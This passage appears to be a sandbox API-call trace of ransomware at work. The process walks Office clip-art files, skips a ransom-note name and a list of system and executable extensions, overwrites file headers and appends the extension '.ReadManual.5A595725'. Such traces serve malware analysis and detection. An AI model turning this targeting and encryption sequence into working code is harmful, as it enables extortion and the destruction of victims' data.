(hObject=0x194) returned 1 [0266.261] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0266.261] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105306.WMF" | out: lpString1="J0105306.WMF") returned="J0105306.WMF" [0266.261] lstrcmpiW (lpString1="J0105306.WMF", lpString2="RecoveryManual.html") returned -1 [0266.261] StrStrIW (lpFirst="J0105306.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.261] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.261] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.261] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" [0266.261] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ReadManual.5A595725" [0266.261] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ReadManual.5A595725") returned 87 [0266.261] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38693000602) returned 1 [0266.261] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0266.261] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.262] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4320) returned 1 [0266.262] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e0, lpName=0x0) returned 0x184 [0266.262] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.263] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.263] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.265] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.265] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e0) returned 0x2f0000 [0266.265] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.265] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38693409836) returned 1 [0266.265] CloseHandle (hObject=0x184) returned 1 [0266.265] SetSecurityInfo () returned 0x57 [0266.266] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.266] CloseHandle (hObject=0x194) returned 1 [0266.266] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0266.266] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105320.WMF" | out: lpString1="J0105320.WMF") returned="J0105320.WMF" [0266.266] lstrcmpiW (lpString1="J0105320.WMF", lpString2="RecoveryManual.html") returned -1 [0266.266] StrStrIW (lpFirst="J0105320.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.266] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.266] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.266] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" [0266.266] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ReadManual.5A595725" [0266.266] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ReadManual.5A595725") returned 87 [0266.267] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38693537525) returned 1 [0266.267] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0266.268] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.268] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2020) returned 1 [0266.268] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e4, lpName=0x0) returned 0x184 [0266.268] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.269] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.269] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.270] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.271] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e4) returned 0x2f0000 [0266.271] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.271] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38693945236) returned 1 [0266.271] CloseHandle (hObject=0x184) returned 1 [0266.271] SetSecurityInfo () returned 0x57 [0266.271] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.271] CloseHandle (hObject=0x194) returned 1 [0266.271] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0266.271] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105328.WMF" | out: lpString1="J0105328.WMF") returned="J0105328.WMF" [0266.271] lstrcmpiW (lpString1="J0105328.WMF", lpString2="RecoveryManual.html") returned -1 [0266.271] StrStrIW (lpFirst="J0105328.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.271] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.271] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.272] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.272] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.272] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" [0266.272] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ReadManual.5A595725" [0266.272] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ReadManual.5A595725") returned 87 [0266.272] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38694043887) returned 1 [0266.272] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0266.272] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.272] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7992) returned 1 [0266.272] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f38, lpName=0x0) returned 0x184 [0266.272] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.273] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.273] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.275] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.275] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f38) returned 0x2f0000 [0266.275] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.275] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38694385753) returned 1 [0266.275] CloseHandle (hObject=0x184) returned 1 [0266.275] SetSecurityInfo () returned 0x57 [0266.275] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.275] CloseHandle (hObject=0x194) returned 1 [0266.275] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0266.275] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105332.WMF" | out: lpString1="J0105332.WMF") returned="J0105332.WMF" [0266.275] lstrcmpiW (lpString1="J0105332.WMF", lpString2="RecoveryManual.html") returned -1 [0266.276] StrStrIW (lpFirst="J0105332.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.276] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.276] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.276] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" [0266.276] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ReadManual.5A595725" [0266.276] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ReadManual.5A595725") returned 87 [0266.276] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38694484858) returned 1 [0266.276] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0266.276] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.277] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10508) returned 1 [0266.277] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x290c, lpName=0x0) returned 0x184 [0266.277] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.277] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.277] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.279] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.279] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x290c) returned 0x2f0000 [0266.279] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.279] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38694815724) returned 1 [0266.279] CloseHandle (hObject=0x184) returned 1 [0266.279] SetSecurityInfo () returned 0x57 [0266.280] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.280] CloseHandle (hObject=0x194) returned 1 [0266.280] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0266.280] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105336.WMF" | out: lpString1="J0105336.WMF") returned="J0105336.WMF" [0266.280] lstrcmpiW (lpString1="J0105336.WMF", lpString2="RecoveryManual.html") returned -1 [0266.280] StrStrIW (lpFirst="J0105336.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.280] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.280] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.280] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" [0266.280] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ReadManual.5A595725" [0266.280] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ReadManual.5A595725") returned 87 [0266.280] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38694912471) returned 1 [0266.280] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0266.281] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.281] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2900) returned 1 [0266.281] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb54, lpName=0x0) returned 0x184 [0266.281] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.282] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.283] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.283] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb54) returned 0x2f0000 [0266.284] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38695237702) returned 1 [0266.284] CloseHandle (hObject=0x184) returned 1 [0266.284] SetSecurityInfo () returned 0x57 [0266.284] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.284] CloseHandle (hObject=0x194) returned 1 [0266.284] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0266.284] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105338.WMF" | out: lpString1="J0105338.WMF") returned="J0105338.WMF" [0266.284] lstrcmpiW (lpString1="J0105338.WMF", lpString2="RecoveryManual.html") returned -1 [0266.284] StrStrIW (lpFirst="J0105338.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.284] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.284] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 